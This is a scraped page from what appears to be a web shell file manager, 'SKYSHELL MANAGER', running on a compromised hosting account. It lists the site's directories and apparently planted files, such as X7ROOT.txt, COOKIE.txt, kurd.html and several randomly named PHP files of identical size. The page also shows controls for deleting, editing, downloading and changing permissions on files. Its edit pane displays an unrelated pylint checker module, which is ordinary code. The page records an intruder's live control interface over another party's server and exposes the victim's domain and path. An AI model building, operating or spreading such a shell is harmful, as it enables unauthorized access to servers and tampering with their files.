📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: method_args.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt """Variables checkers for Python code.""" from __future__ import annotations from typing import TYPE_CHECKING import astroid from astroid import arguments, bases, nodes from pylint.checkers import BaseChecker, utils from pylint.interfaces import INFERENCE if TYPE_CHECKING: from pylint.lint import PyLinter class MethodArgsChecker(BaseChecker): """BaseChecker for method_args. Checks for * missing-timeout * positional-only-arguments-expected """ name = "method_args" msgs = { "W3101": ( "Missing timeout argument for method '%s' can cause your program to hang indefinitely", "missing-timeout", "Used when a method needs a 'timeout' parameter in order to avoid waiting " "for a long time. If no timeout is specified explicitly the default value " "is used. For example for 'requests' the program will never time out " "(i.e. hang indefinitely).", ), "E3102": ( "`%s()` got some positional-only arguments passed as keyword arguments: %s", "positional-only-arguments-expected", "Emitted when positional-only arguments have been passed as keyword arguments. " "Remove the keywords for the affected arguments in the function call.", {"minversion": (3, 8)}, ), } options = ( ( "timeout-methods", { "default": ( "requests.api.delete", "requests.api.get", "requests.api.head", "requests.api.options", "requests.api.patch", "requests.api.post", "requests.api.put", "requests.api.request", ), "type": "csv", "metavar": "<comma separated list>", "help": "List of qualified names (i.e., library.method) which require a timeout parameter " "e.g. 'requests.api.get,requests.api.post'", }, ), ) @utils.only_required_for_messages( "missing-timeout", "positional-only-arguments-expected" ) def visit_call(self, node: nodes.Call) -> None: self._check_missing_timeout(node) self._check_positional_only_arguments_expected(node) def _check_missing_timeout(self, node: nodes.Call) -> None: """Check if the call needs a timeout parameter based on package.func_name configured in config.timeout_methods. Package uses inferred node in order to know the package imported. """ inferred = utils.safe_infer(node.func) call_site = arguments.CallSite.from_call(node) if ( inferred and not call_site.has_invalid_keywords() and isinstance( inferred, (nodes.FunctionDef, nodes.ClassDef, bases.UnboundMethod) ) and inferred.qname() in self.linter.config.timeout_methods ): keyword_arguments = [keyword.arg for keyword in node.keywords] keyword_arguments.extend(call_site.keyword_arguments) if "timeout" not in keyword_arguments: self.add_message( "missing-timeout", node=node, args=(node.func.as_string(),), confidence=INFERENCE, ) def _check_positional_only_arguments_expected(self, node: nodes.Call) -> None: """Check if positional only arguments have been passed as keyword arguments by inspecting its method definition. """ inferred_func = utils.safe_infer(node.func) while isinstance(inferred_func, (astroid.BoundMethod, astroid.UnboundMethod)): inferred_func = inferred_func._proxied if not ( isinstance(inferred_func, (nodes.FunctionDef)) and inferred_func.args.posonlyargs ): return if inferred_func.args.kwarg: return pos_args = [a.name for a in inferred_func.args.posonlyargs] kws = [k.arg for k in node.keywords if k.arg in pos_args] if not kws: return self.add_message( "positional-only-arguments-expected", node=node, args=(node.func.as_string(), ", ".join(f"'{k}'" for k in kws)), confidence=INFERENCE, ) def register(linter: PyLinter) -> None: linter.register_checker(MethodArgsChecker(linter))
Save